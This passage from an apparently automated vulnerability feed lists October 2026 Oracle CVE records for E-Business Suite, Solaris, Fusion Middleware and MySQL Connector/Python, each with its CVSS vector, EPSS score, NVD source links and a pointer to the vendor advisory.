NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101851&date=2026-10-25
Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Data Provider UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Installed Base.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Installed Base accessible data as well as  unauthorized update, insert or delete access to some of Installed Base accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).
https://kevwire.com/record/CVE-2026-47025
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-47025).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-47025&date=2026-10-25).
Sources:
NVD CVE-2026-47025: https://nvd.nist.gov/vuln/detail/CVE-2026-47025
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-47025&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).
https://kevwire.com/record/CVE-2026-60662
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-60662).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-60662&date=2026-10-25).
Sources:
NVD CVE-2026-60662: https://nvd.nist.gov/vuln/detail/CVE-2026-60662
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-60662&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).
https://kevwire.com/record/CVE-2026-83361
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO). (Oct 20, 2026).
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Contract Lifecycle Management for Public Sector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Contract Lifecycle Management for Public Sector accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83361).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83361&date=2026-10-25).
Sources:
NVD CVE-2026-83361: https://nvd.nist.gov/vuln/detail/CVE-2026-83361
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83361&date=2026-10-25
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Contract Lifecycle Management for Public Sector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Contract Lifecycle Management for Public Sector accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).
https://kevwire.com/record/CVE-2026-83366
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events). (Oct 20, 2026).
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Shipping Execution accessible data as well as  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83366).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83366&date=2026-10-25).
Sources:
NVD CVE-2026-83366: https://nvd.nist.gov/vuln/detail/CVE-2026-83366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83366&date=2026-10-25
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Shipping Execution accessible data as well as  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).
https://kevwire.com/record/CVE-2026-83367
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events). (Oct 20, 2026).
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Shipping Execution accessible data as well as  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83367).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83367&date=2026-10-25).
Sources:
NVD CVE-2026-83367: https://nvd.nist.gov/vuln/detail/CVE-2026-83367
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83367&date=2026-10-25
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Shipping Execution accessible data as well as  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Sourcing product of Oracle E-Business Suite (component: Auctions).
https://kevwire.com/record/CVE-2026-83370
Vulnerability in the Sourcing product of Oracle E-Business Suite (component: Auctions). (Oct 20, 2026).
Vulnerability in the Sourcing product of Oracle E-Business Suite (component: Auctions).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Sourcing.  Successful attacks of this vulnerability can result in takeover of Sourcing. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83370).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83370&date=2026-10-25).
Sources:
NVD CVE-2026-83370: https://nvd.nist.gov/vuln/detail/CVE-2026-83370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83370&date=2026-10-25
Vulnerability in the Sourcing product of Oracle E-Business Suite (component: Auctions).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Sourcing.  Successful attacks of this vulnerability can result in takeover of Sourcing. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).
https://kevwire.com/record/CVE-2026-83379
Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers). (Oct 20, 2026).
Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83379).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83379&date=2026-10-25).
Sources:
NVD CVE-2026-83379: https://nvd.nist.gov/vuln/detail/CVE-2026-83379
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83379&date=2026-10-25
Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-83393
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 8.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83393).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83393&date=2026-10-25).
Sources:
NVD CVE-2026-83393: https://nvd.nist.gov/vuln/detail/CVE-2026-83393
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83393&date=2026-10-25
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Data Transforms).
https://kevwire.com/record/CVE-2026-83398
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Data Transforms). (Oct 20, 2026).
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Data Transforms).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Data Integrator accessible data as well as  unauthorized update, insert or delete access to some of Oracle Data Integrator accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83398).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83398&date=2026-10-25).
Sources:
NVD CVE-2026-83398: https://nvd.nist.gov/vuln/detail/CVE-2026-83398
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83398&date=2026-10-25
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Data Transforms).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Data Integrator accessible data as well as  unauthorized update, insert or delete access to some of Oracle Data Integrator accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).
https://kevwire.com/record/CVE-2026-83402
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83402).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83402&date=2026-10-25).
Sources:
NVD CVE-2026-83402: https://nvd.nist.gov/vuln/detail/CVE-2026-83402
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83402&date=2026-10-25
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).
https://kevwire.com/record/CVE-2026-83403
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83403).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83403&date=2026-10-25).
Sources:
NVD CVE-2026-83403: https://nvd.nist.gov/vuln/detail/CVE-2026-83403
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83403&date=2026-10-25
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/Python).
https://kevwire.com/record/CVE-2026-83404
Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/Python). (Oct 20, 2026).
Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/Python).   The supported version that is affected is 26.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all MySQL Connectors accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83404).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83404&date=2026-10-25).
Sources:
NVD CVE-2026-83404: https://nvd.nist.gov/vuln/detail/CVE-2026-83404
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83404&date=2026-10-25
Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/Python).   The supported version that is affected is 26.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all MySQL Connectors accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).
https://kevwire.com/record/CVE-2026-83407
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). (Oct 20, 2026).
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data as well as  unauthorized update, insert or delete access to some of Oracle Access Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Access Manager. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83407).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83407&date=2026-10-25).
Sources:
NVD CVE-2026-83407: https://nvd.nist.gov/vuln/detail/CVE-2026-83407
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83407&date=2026-10-25
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data as well as  unauthorized update, insert or delete access to some of Oracle Access Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Access Manager. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).
https://kevwire.com/record/CVE-2026-83409
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). (Oct 20, 2026).
